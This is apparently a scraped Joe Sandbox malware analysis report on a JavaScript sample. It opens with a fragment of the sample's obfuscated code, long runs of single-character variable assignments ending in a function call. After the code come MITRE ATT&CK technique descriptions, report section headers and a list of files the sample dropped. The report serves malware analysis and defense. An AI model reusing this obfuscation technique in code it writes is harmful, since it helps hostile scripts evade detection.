1273	yrhcnb = "V";
1274	yrhcnb = "D";
1275	yrhcnb = "Q";
1276	yrhcnb = "C";
1277	yrhcnb = "x";
1278	yrhcnb = "h";
1279	yrhcnb = "t";
1280	yrhcnb = "O";
1281	yrhcnb = "x";
1282	yrhcnb = "y";
1283	yrhcnb = "b";
1284	yrhcnb = "K";
1285	yrhcnb = "I";
1286	yrhcnb = "A";
1287	yrhcnb = "C";
1288	yrhcnb = "c";
1289	yrhcnb = "W";
1290	yrhcnb = "W";
1291	yrhcnb = "Q";
1292	yrhcnb = "f";
1293	yrhcnb = "Y";
1294	yrhcnb = "v";
1295	yrhcnb = "b";
1296	yrhcnb = "c";
1297	yrhcnb = "l";
1298	yrhcnb = "o";
1299	yrhcnb = "d";
1300	yrhcnb = "v";
1301	yrhcnb = "P";
1302	ecorvt = "I";
1303	ecorvt = "o";
1304	ecorvt = "Q";
1305	ecorvt = "y";
1306	ecorvt = "F";
1307	ecorvt = "f";
1308	etgkptjk = "S";
1309	etgkptjk = "J";
1310	etgkptjk = "X";
1311	etgkptjk = "Z";
1312	etgkptjk = "l";
1313	etgkptjk = "H";
1314	etgkptjk = "W";
1315	etgkptjk = "d";
1316	etgkptjk = "P";
1317	etgkptjk = "b";
1318	etgkptjk = "X";
1319	etgkptjk = "X";
1320	etgkptjk = "I";
1321	etgkptjk = "C";
1322	etgkptjk = "y";
1323	etgkptjk = "L";
1324	etgkptjk = "w";
1325	etgkptjk = "a";
1326	etgkptjk = "m";
1327	etgkptjk = "7";
1328	tpfuvoy = "w";
1329	tpfuvoy = "o";
1330	tpfuvoy = "f";
1331	tpfuvoy = "X";
1332	tpfuvoy = "L";
1333	tpfuvoy = "L";
1334	tpfuvoy = "O";
1335	tpfuvoy = "U";
1336	tpfuvoy = "G";
1337	tpfuvoy = "K";
1338	tpfuvoy = "E";
1339	tpfuvoy = "n";
1340	tpfuvoy = "m";
1341	chmpm = "b";
1342	chmpm = "B";
1343	chmpm = "d";
1344	chmpm = "2";
1345	ctueuyk = "R";
1346	ctueuyk = "o";
1347	ctueuyk = "p";
1348	ctueuyk = "y";
1349	ctueuyk = "A";
1350	ctueuyk = "k";
1351	ctueuyk = "I";
1352	ctueuyk = "j";
1353	ctueuyk = "O";
1354	ctueuyk = "F";
1355	ctueuyk = "b";
1356	ctueuyk = "M";
1357	ctueuyk = "E";
1358	ctueuyk = "k";
1359	ctueuyk = "A";
1360	ctueuyk = "Q";
1361	ctueuyk = "v";
1362	ctueuyk = "J";
1363	ctueuyk = "E";
1364	ctueuyk = "n";
1365	ctueuyk = "S";
1366	ctueuyk = "F";
1367	ctueuyk = "W";
1368	ctueuyk = "f";
1369	ctueuyk = "v";
1370	ctueuyk = "P";
1371	ctueuyk = "b";
1372	ctueuyk = "R";
1373	ctueuyk = "o";
1374	ctueuyk = "Y";
1375	ctueuyk = "I";
1376	ctueuyk = "Y";
1377	ctueuyk = "Y";
1378	ctueuyk = "I";
1379	ctueuyk = "w";
1380	ctueuyk = "e";
1381	ctueuyk = "T";
1382	ctueuyk = "z";
1383	ctueuyk = "f";
1384	ctueuyk = "X";
1385	ctueuyk = "E";
1386	ctueuyk = "3";
1387	mhxmzh = "t";
1388	mhxmzh = "e";
1389	mhxmzh = "F";
1390	mhxmzh = "l";
1391	mhxmzh = "t";
1392	mhxmzh = "S";
1393	mhxmzh = "j";
1394	mhxmzh = "m";
1395	mhxmzh = "A";
1396	mhxmzh = "l";
1397	mhxmzh = "x";
1398	mhxmzh = "R";
1399	mhxmzh = "J";
1400	mhxmzh = "d";
1401	mhxmzh = "G";
1402	mhxmzh = "U";
1403	mhxmzh = "e";
1404	mhxmzh = "H";
1405	mhxmzh = "N";
1406	mhxmzh = "J";
1407	mhxmzh = "S";
1408	mhxmzh = "c";
1409	mhxmzh = "V";
1410	mhxmzh = "n";
1411	zfkzddt = "S";
1412	zfkzddt = "a";
1413	zfkzddt = "J";
1414	zfkzddt = "C";
1415	zfkzddt = "B";
1416	zfkzddt = "m";
1417	zfkzddt = "R";
1418	zfkzddt = "f";
1419	zfkzddt = "o";
1420	zfkzddt = "e";
1421	zfkzddt = "Y";
1422	zfkzddt = "m";
1423	zfkzddt = "J";
1424	zfkzddt = "N";
1425	zfkzddt = "B";
1426	zfkzddt = "Q";
1427	zfkzddt = "j";
1428	zfkzddt = "h";
1429	zfkzddt = "y";
1430	zfkzddt = "t";
1431	zfkzddt = "S";
1432	zfkzddt = "S";
1433	zfkzddt = "a";
1434	zfkzddt = "f";
1435	zfkzddt = "d";
1436	zfkzddt = "T";
1437	zfkzddt = "Y";
1438	zfkzddt = "f";
1439	zfkzddt = "l";
1440	zfkzddt = "w";
1441	egmeu = "Z";
1442	egmeu = "N";
1443	egmeu = "j";
1444	egmeu = "o";
1445	egmeu = "a";
1446	egmeu = "J";
1447	egmeu = "F";
1448	egmeu = "M";
1449	egmeu = "H";
1450	egmeu = "m";
1451	egmeu = "C";
1452	egmeu = "B";
1453	egmeu = "m";
1454	egmeu = "X";
1455	egmeu = "b";
1456	egmeu = "o";
1457	egmeu = "I";
1458	egmeu = "z";
1459	egmeu = "p";
1460	egmeu = "o";
1461	egmeu = "N";
1462	egmeu = "f";
1463	egmeu = "n";
1464	egmeu = "L";
1465	egmeu = "A";
1466	egmeu = "P";
1467	egmeu = "X";
1468	egmeu = "o";
1469	egmeu = "E";
1470	egmeu = "g";
1471	egmeu = "A";
1472	egmeu = "O";
1473	egmeu = "S";
1474	egmeu = "S";
1475	egmeu = "A";
1476	egmeu = "D";
1477	egmeu = "t";
1478	egmeu = "G";
1479	egmeu = "g";
1480	egmeu = "N";
1481	egmeu = "\\";
1482	cqfugo = "T";
1483	cqfugo = "b";
1484	cqfugo = "R";
1485	cqfugo = "r";
1486	cqfugo = "d";
1487	cqfugo = "E";
1488	cqfugo = "S";
1489	cqfugo = "s";
1490	cqfugo = "K";
1491	cqfugo = "a";
1492	cqfugo = "U";
1493	cqfugo = "V";
1494	cqfugo = "y";
1495	cqfugo = "&";
1496	kzylya ( );	kzylya() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 853025795686920641.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\141db8a1-5364-4c8d-bdcb-519fa3d4c6e0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9974b2ac-8bef-4e86-b0e1-cc887e32c379.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF652966.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7860

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
853025795686920641.js